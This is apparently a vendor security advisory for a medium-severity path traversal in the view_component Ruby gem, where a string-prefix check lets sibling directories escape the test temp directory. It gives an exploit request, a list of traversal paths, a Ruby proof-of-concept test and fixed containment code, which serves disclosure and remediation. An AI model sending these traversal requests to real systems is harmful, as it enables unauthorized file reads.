Summary
view_component: System Test Entry Point Path Check Allows Sibling Directory Escape
Full technical description
The system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.
Severity: Medium; test-route scoped.
Example:
Allowed base: /app/tmp/view_components
Outside path: /app/tmp/view_components_evil/secret.html.erb
The outside path is not inside the base directory, but it passes:
@path.start_with?(base_path)
Relevant Code
app/controllers/view_components_system_test_controller.rb:
base_path = ::File.realpath(self.class.temp_dir)
@path = ::File.realpath(params.permit(:file)[:file], base_path)
raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)
The route then renders the resolved file:
render file: @path
Exploit Flow
Example request:
GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb
Flow:
base_pathresolves to.../tmp/view_components.- The payload resolves to
.../tmp/view_components_evil/secret.html.erb. - That path is outside the intended temp directory.
- The string prefix check still passes.
- Rails renders the sibling file.
The route is mounted only in Rails.env.test?, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.
Targeted Fuzz Result
The following sibling paths passed an equivalent realpath plus start_with? harness while resolving outside the base directory:
../view_components_evil/secret.html
../view_components2/poc.html
../view_components.bak/poc.html
../view_components-old/poc.html
../view_componentsx/poc.html
PoC Test
Create test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb:
# frozen_string_literal: true
require "test_helper"
require "fileutils"
class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest
def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix
base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)
parent_dir = File.dirname(base_dir)
sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil")
outside_file = File.join(sibling_dir, "secret.html.erb")
FileUtils.mkdir_p(sibling_dir)
File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>")
get "/_system_test_entrypoint", params: {
file: "../#{File.basename(base_dir)}_evil/secret.html.erb"
}
assert_response :success
assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC"
ensure
FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file
Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)
end
end
Run:
bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb
Vulnerable behavior: the response succeeds and contains VC_SYSTEM_TEST_TRAVERSAL_POC.
Fixed behavior: the request raises ViewComponent::SystemTestControllerNefariousPathError or otherwise fails without rendering the file.
Impact
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-44837 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.9.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Use path-aware containment instead of a raw string prefix. For example:
def validate_file_path
base_path = Pathname.new(::File.realpath(self.class.temp_dir))
path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))
relative_path = path.relative_path_from(base_path)
raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".."
@path = path.to_s
end
Or require a separator boundary:
allowed_prefix = "#{base_path}#{File::SEPARATOR}"
unless @path == base_path || @path.start_with?(allowed_prefix)
raise ViewComponent::SystemTestControllerNefariousPathError
end
Add regression tests for:
- A normal temp file inside
tmp/view_components ../../README.md../view_components_evil/secret.html.erb- A symlink inside the temp directory that resolves outside it
Frequently Asked Questions
- What is CVE-2026-44837? CVE-2026-44837 is a medium-severity path traversal vulnerability in view_component (rubygems), affecting versions >= 3.0.0, < 4.9.0. It is fixed in 4.9.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-44837? CVE-2026-44837 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of view_component are affected by CVE-2026-44837? view_component (rubygems) versions >= 3.0.0, < 4.9.0 is affected.
- Is there a fix for CVE-2026-44837? Yes. CVE-2026-44837 is fixed in 4.9.0. Upgrade to this version or later.
- Is CVE-2026-44837 exploitable, and should I be worried? Whether CVE-2026-44837 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-44837 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-44837? Upgrade
view_componentto 4.9.0 or later.